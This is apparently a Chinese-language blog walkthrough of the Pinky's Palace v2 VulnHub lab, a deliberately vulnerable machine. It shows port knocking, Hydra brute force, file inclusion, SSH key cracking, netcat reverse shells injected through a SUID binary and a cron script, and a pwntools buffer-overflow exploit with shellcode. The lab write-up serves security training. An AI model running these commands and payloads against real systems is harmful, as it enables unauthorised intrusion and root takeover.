【Vulnhub通关】Pinky's Palace:v2


准备工作

靶机基本信息

靶机名称:Pinky's Palace v2
操作系统:Linux
网络连接方式:桥接至物理网络
虚拟机软件:VMware Workstation
渗透测试目标:获取root权限并读取root.txt文件

下载地址:Pinky's Palace: v2 ~ VulnHub

环境配置

  1. 解压压缩包,随后打开VMware Workstation点击主页上的File => Open按钮,选择Pinkys-Palace-Hard.ovf文件即可导入
  2. 执行命令echo 192.168.2.141 pinkydb | sudo tee -a /etc/hosts编辑DNS缓存,使域名pinkydb指向靶机。

信息收集

IP地址发现

在Kali Linux中,我们使用netdiscover工具发现靶机的IP地址:

shell 复制代码
 Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                    
                                                                                                                                                  
 4 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 240                                                                                  
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.2.1     d4:b7:09:a1:c1:c4      1      60  zte corporation                                                                                
 192.168.2.101   0c:9d:92:10:4d:91      1      60  ASUSTek COMPUTER INC.                                                                          
 192.168.2.128   ac:e3:42:ae:bf:4a      1      60  HUAWEI TECHNOLOGIES CO.,LTD                                                                    
 192.168.2.141   00:0c:29:45:53:3c      1      60  VMware, Inc.                                                                                   

                                                                       
┌──(root㉿attacker)-[/home/hacker]
└─# 

可以看到MAC设备名为192.168.2.141的设备即为靶机,IP地址为192.168.2.141

ICMP探测

知道靶机IP地址之后,我们可以使用ping命令检测靶机网络连通性:

shell 复制代码
┌──(root㉿attacker)-[/home/hacker]
└─# ping -c 4 192.168.2.141
PING 192.168.2.141 (192.168.2.141) 56(84) bytes of data.
64 bytes from 192.168.2.141: icmp_seq=1 ttl=64 time=1.89 ms
64 bytes from 192.168.2.141: icmp_seq=2 ttl=64 time=0.903 ms
64 bytes from 192.168.2.141: icmp_seq=3 ttl=64 time=0.876 ms
64 bytes from 192.168.2.141: icmp_seq=4 ttl=64 time=0.913 ms

--- 192.168.2.141 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 0.876/1.145/1.890/0.430 ms

可以发现攻击机和靶机之间连通性良好。

防火墙探测

我们可以使用Nmap发送TCP ACK请求包,进行防火墙状态探测。

shell 复制代码
┌──(root㉿attacker)-[/home/hacker]
└─# nmap -sA -p- 192.168.2.141   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-29 08:35 CST
Nmap scan report for 192.168.2.141 (192.168.2.141)
Host is up (0.00012s latency).
Not shown: 65532 unfiltered tcp ports (reset)
PORT      STATE    SERVICE
4655/tcp  filtered unknown
7654/tcp  filtered unknown
31337/tcp filtered Elite
MAC Address: 00:0C:29:45:53:3C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 4.93 seconds

发现靶机可能存在防火墙,进行网络端口扫描。

网络端口扫描

我们使用Nmap扫描靶机开放端口、软件版本和操作系统版本

shell 复制代码
# TCP SYN扫描
nmap -sS -sV -O -p- -oN ./tcp_result.txt 192.168.2.141
# UDP扫描
nmap -sC -sU -sV -T4 -oN ./udp_result.txt 192.168.2.141

TCP扫描结果如下:

UDP扫描结果如下:

可以看到靶机开放了如下端口:

端口 传输层协议 应用层协议 状态 详细信息
80 TCP HTTP open Apache httpd 2.4.25 ((Debian))
4655 TCP 未知 filtered 未知
7654 TCP 未知 filtered 未知
31337 TCP 未知 filtered 未知

同时确定靶机操作系统为Debian Linux,内核版本大概为Linux 3.2 - 4.9


服务探测

80端口(Web应用程序)

使用火狐浏览器打开主页:http://pinkydb/,内容如下所示:

大概是使用WordPress搭建的一个个人博客,但搭建者只发了2篇帖子,都是没有任何价值的信息。查看网页源代码也没有发现有价值的信息。

打开开发者工具,查看网络信息,在HTTP请求头中发现了一个Restful API地址:

使用浏览器打开该API接口(http://pinkydb/index.php?rest_route=/):

该API有一个用户信息接口http://pinkydb/index.php?rest_route=/wp/v2/users,在该接口内发现一个WordPress用户pinky1337

下面我们使用dirsearch扫描一下网站目录:

发现了一个关键目录/secret,浏览器查看:

发现里面有一个bambam.txt文件,内容如下:

text 复制代码
8890
7000
666

pinkydb

结合网络端口扫描时发现的3个关闭端口,联想到了端口敲门服务。 尝试使用knock pinkydb 8890 7000 666命令敲击靶机端口,但关闭的端口还是没有打开,猜测是顺序不对,于是将3个端口进行排列组合,得到6种顺序

  • 8890 7000 666
  • 8890 666 7000
  • 7000 8890 666
  • 7000 666 8890
  • 666 7000 8890
  • 666 8890 7000

使用knock命令依次按照上面的6种顺序依次敲击靶机,并使用Nmap扫描靶机开放端口。结果发现7000 666 8890为正确顺序

重新使用Nmap扫描3个端口:

shell 复制代码
nmap -sS -A -p 4655,7654,31337 192.168.2.141

发现4655/tcp端口运行SSH服务,7654/tcp端口运行Nginx HTTP服务,31337/tcp端口运行的服务未知。

4655端口(SSH服务)

使用Netcat确定端口Banner信息:

shell 复制代码
┌──(root㉿attacker)-[/home/hacker]
└─# nc -nv 192.168.2.141 4655                   
(UNKNOWN) [192.168.2.141] 4655 (?) open
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u3

31337端口(未知服务)

使用Netcat连接31337端口,随后直接开始脸滚键盘(bushi

确定该服务的作用是和客户端打开一个Socket连接,并将客户端输入的字符直接回显出来。但在有一些特殊字符的情况下会输出异常,怀疑存在栈溢出漏洞。

7654端口(Web应用程序)

使用浏览器打开链接:http://pinkydb:7654/,发现主页只有一个名为Login的超链接,点击之后进入登录框:

加引号测试SQL注入失败,先扫一下网站目录:

没有扫到高价值目标,准备爆破登录框。


渗透测试

旁站登录框爆破

首先,我们使用cewl社会工程学爬虫工具来针对靶机Web服务生成专用字典

shell 复制代码
cewl http://pinkydb/ -w ./pass.txt

同时将前面收集到的用户名pinky1337追加至字典文件中:

shell 复制代码
echo "pinky1337" >> ./pass.txt

随后确定网站登录路由信息。在登录框中随意输入用户名和密码,然后打开BurpSuite代理,点击Login按钮发送请求并截包 ,同时查看HTTP数据包:

发现POST请求中的userpass参数传输登录信息,同时如果登录失败会返回Invalid Username or Password!信息。

所以Hydra的爆破命令如下:

shell 复制代码
# -L 指定用户名字典
# -P 指定密码字典
# -s 指定目标和协议类型
# -m 指定爆破参数,前面为请求页面,中间为POST参数(用户名和密码用标记代替),后面为登录失败返回信息,用英文冒号分隔
hydra -L ./pass.txt -P ./pass.txt -s 7654 pinkydb http-post-form -m "/login.php:user=^USER^&pass=^PASS^:Invalid" 

成功爆破出了1个登录信息:

  • 用户名:Pinky
  • 密码:Passione

使用该凭据登录,发现登录后的/pageegap.php页面上有两条链接,一条指向一个文本文档,内容如下:

text 复制代码
- Stefano
- Intern Web developer
- Created RSA key for security for him to login

而点击Stefano's RSA链接时会下载id_rsa文件。

好啊。。。很好啊。。

同时还发现/pageegap.php页面上GET参数1337的值为一个PHP文件的路径,猜测页面上有文件包含漏洞。

尝试包含/etc/passwd文件:

文件包含漏洞一枚! 零分!下一位!

但美中不足的是,SSH私钥被加密了。。。。

于是直接使用john工具进行哈希碰撞,字典选用/usr/share/wordlists/rockyou.txt

shell 复制代码
# 将私钥转换为Hash
/usr/share/john/ssh2john.py id_rsa > ssh_keyhash
# 爆破
john ./ssh_keyhash -w /usr/share/wordlists/rockyou.txt

成功发现密码为secretz101,尝试使用stefano用户登录:

成功!!

P.S. 这里由于网络环境变化,靶机IP变为192.168.129.9,攻击机变为192.168.129.193


权限提升

本地信息收集

成功进入系统之后,我们首先上传LinPeas工具进行本地信息收集 (在攻击机使用Python的http模块启动服务器)

shell 复制代码
wget http://192.168.129.193:8000/linpeas.sh

基本信息

系统用户列表

系统进程信息

计划任务信息

开放端口列表

特殊权限文件

可以看到在/home/stefano/目录下有一个名为qsub且带有SUID标识文件,所有者为pinky

SUID提权+ELF文件逆向

尝试使用file命令查看该文件的类型:

shell 复制代码
stefano@Pinkys-Palace:~$ file ~/tools/qsub
/home/stefano/tools/qsub: setuid executable, regular file, no read permission

可以看到是一个可执行文件,但因为该文件的权限为741且所有者为www-data,我们无法直接读取该文件进行逆向。

尝试执行该文件:

shell 复制代码
stefano@Pinkys-Palace:~/tools$ ./qsub
./qsub <Message>
stefano@Pinkys-Palace:~/tools$ ./qsub aaa
[+] Input Password: bbb
[!] Incorrect Password!

可以看到该程序会接收一个命令行参数,回车之后会提示输入密码,但无法得知具体干了什么。

这时候我们可以尝试使用之前7654端口的文件包含漏洞来包含该文件,进而使用curl工具来下载二进制文件:

shell 复制代码
┌──(root㉿attacker)-[/home/hacker/Desktop]
└─# curl "http://pinkydb:7654/pageegap.php?1337=/home/stefano/tools/qsub" -o ./qsub
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 13384    0 13384    0     0  1761k      0 --:--:-- --:--:-- --:--:-- 2178k
                                                                                                                                                    
┌──(root㉿attacker)-[/home/hacker/Desktop]
└─# file ./qsub
./qsub: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e35337e922a770c832f5e2b0a9afc5819887bd10, not stripped

随后直接扔进IDA里逆向分析:

可以看到该程序首先定义了ss2两个字符串,然后将环境变量TERM的值作为密码存储到字符串变量s2中,再把用户输入的密码读入变量s中,随后判断其长度是否大于40,若大于40则退出,若小于40则将其和环境变量TERM的值比较,若不相等则退出。之后直接设置UIDGID,并将命令行参数作为send()函数的参数执行。 我们来看send()函数的代码:

c++ 复制代码
int __fastcall send(const char *a1)
{
  char *ptr; // [rsp+18h] [rbp-8h] BYREF

  asprintf(&ptr, "/bin/echo %s >> /home/pinky/messages/stefano_msg.txt", a1);
  return system(ptr);
}

可以看到这是一个执行命令的函数。命令为:/bin/echo [字符串a1的值] >> /home/pinky/messages/stefano_msg.txt,结合前面的内容可知,用户输入的命令行参数直接传递至了危险函数中,存在命令执行后门。

查看靶机环境变量TERM的值:

shell 复制代码
stefano@Pinkys-Palace:~/tools$ echo $TERM
xterm-256color

直接在命令行参数中拼接反弹Shell命令,收到反弹:

shell 复制代码
./qsub "a && nc -e /bin/bash 192.168.2.50 4444 && echo 1"

成功!

定时脚本提权

既然成功提权至pinky用户,那么就去该用户的家目录看看:

shell 复制代码
pinky@Pinkys-Palace:~/tools$ cd /home/pinky                  cd /home/pinky
cd /home/pinky
pinky@Pinkys-Palace:/home/pinky$ ls -lA                           ls -lA
ls -lA
total 20
-rw------- 1 pinky pinky   66 Mar 17  2018 .bash_history
-rw-r--r-- 1 pinky pinky  220 Mar 17  2018 .bash_logout
-rw-r--r-- 1 pinky pinky 3526 Mar 17  2018 .bashrc
drwxr-xr-x 2 pinky pinky 4096 Mar 17  2018 messages
-rw-r--r-- 1 pinky pinky  675 Mar 17  2018 .profile

发现message文件夹是之前qsub程序的文本输出目录,无敏感信息。查看~/.bash_history文件:

shell 复制代码
pinky@Pinkys-Palace:/home/pinky$ cat ./.bash_history                 cat ./.bash_history
cat ./.bash_history
ls -al
cd
ls -al
cd /usr/local/bin
ls -al
vim backup.sh 
su demon

发现/usr/local/bin目录下有backup.sh文件。尝试查看:

发现这是一个将网站目录进行打包的脚本,推测该脚本会定期执行 ,同时我们现在拥有对其的读取、修改和执行权限。

直接使用echo将反弹Shell的命令写入到该脚本中:

shell 复制代码
echo "nc -e /bin/bash 192.168.2.50 5555" > backup.sh

成功接收到反弹Shell:

root进程提权+ELF文件逆向

登录demon用户之后查看进程,有一项可疑信息引起了作者的注意:

进入/daemon目录,查看文件信息:

shell 复制代码
cd /daemon
ls -lA
file ./panel
./panel

可以看到该程序似乎在尝试绑定Socket

直接使用Python 3启动HTTP服务器,下载下来扔到IDA里逆向分析:

发现该程序就是监听31337端口的程序。该程序首先设置了一些Socket参数,随后在连接成功的情况下发送了我们之前看到的字符串,随后调用了handlecmd()函数。

我们继续看handlecmd()函数的代码:

c++ 复制代码
ssize_t __fastcall handlecmd(const char *a1, int a2)
{
  size_t v2; // rax
  char dest[112]; // [rsp+10h] [rbp-70h] BYREF

  strcpy(dest, a1);
  v2 = strlen(dest);
  return send(a2, dest, v2, 0);
}

可以看到该函数接收一个常量字符串指针a1和一个整数变量a2,首先在函数起始处定义了一个112位的字符串数组dest,随后不经考虑地将字符串一股脑复制进dest数组中,最后调用send()函数将输入的字符串发送回去。整个过程如同行云流水般丝滑,但一点也没注意到复制字符串的过程存在严重的缓冲区溢出漏洞。

经过分析之后,编写如下EXP:

python 复制代码
#! /usr/bin/python3

from pwn import *

buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\xd7\xad\x9f\x64\x85"
buf += b"\xd5\x1b\xca\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\xbd\x84\xc7\xfd\xef\xd7\x44\xa0\xd6"
buf += b"\xf3\x90\x61\xcd\x42\x53\x73\xd5\xad\xb8\x74\x45"
buf += b"\x7d\x19\xf8\x86\xe5\x16\x82\xef\xc5\x41\xa0\xfd"
buf += b"\xf5\x90\x61\xef\xd6\x45\x82\x28\x63\xf5\x45\xdd"
buf += b"\xda\x1e\xbf\x21\xc7\xa4\x3c\x1c\x9d\xa0\xe5\xb5"
buf += b"\xc4\xf1\x4b\xf6\xbd\x1b\x99\x9f\x24\x78\x36\xd2"
buf += b"\x9d\x92\x2c\xd8\xa8\x9f\x64\x85\xd5\x1b\xca\x90"

ret = p64(0x400cfb)
payload = buf + ret
print(payload)

r = remote("192.168.2.145", 31337)
r.recv()
r.send(payload)
print("ok")

成功收到反弹Shell!


Flag文件信息

文件名:root.txt
文件路径:/root/root.txt
文件大小:639 Bytes
MD5:0ca7a0711e00c4e34369f885b0e5b8f4
SHA256:6445efec222263733b331233a27293d3afbcedeaf2fd08053333f1e9343c0e61

文件内容截图:


本次靶机渗透到此结束

相关推荐
用户962377954484 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主5 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
合天网安实验室6 天前
H2O-3反序列化漏洞分析(CVE-2025-6507&CVE-2025-6544)
前端·黑客
用户962377954487 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954487 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star7 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954487 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher9 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全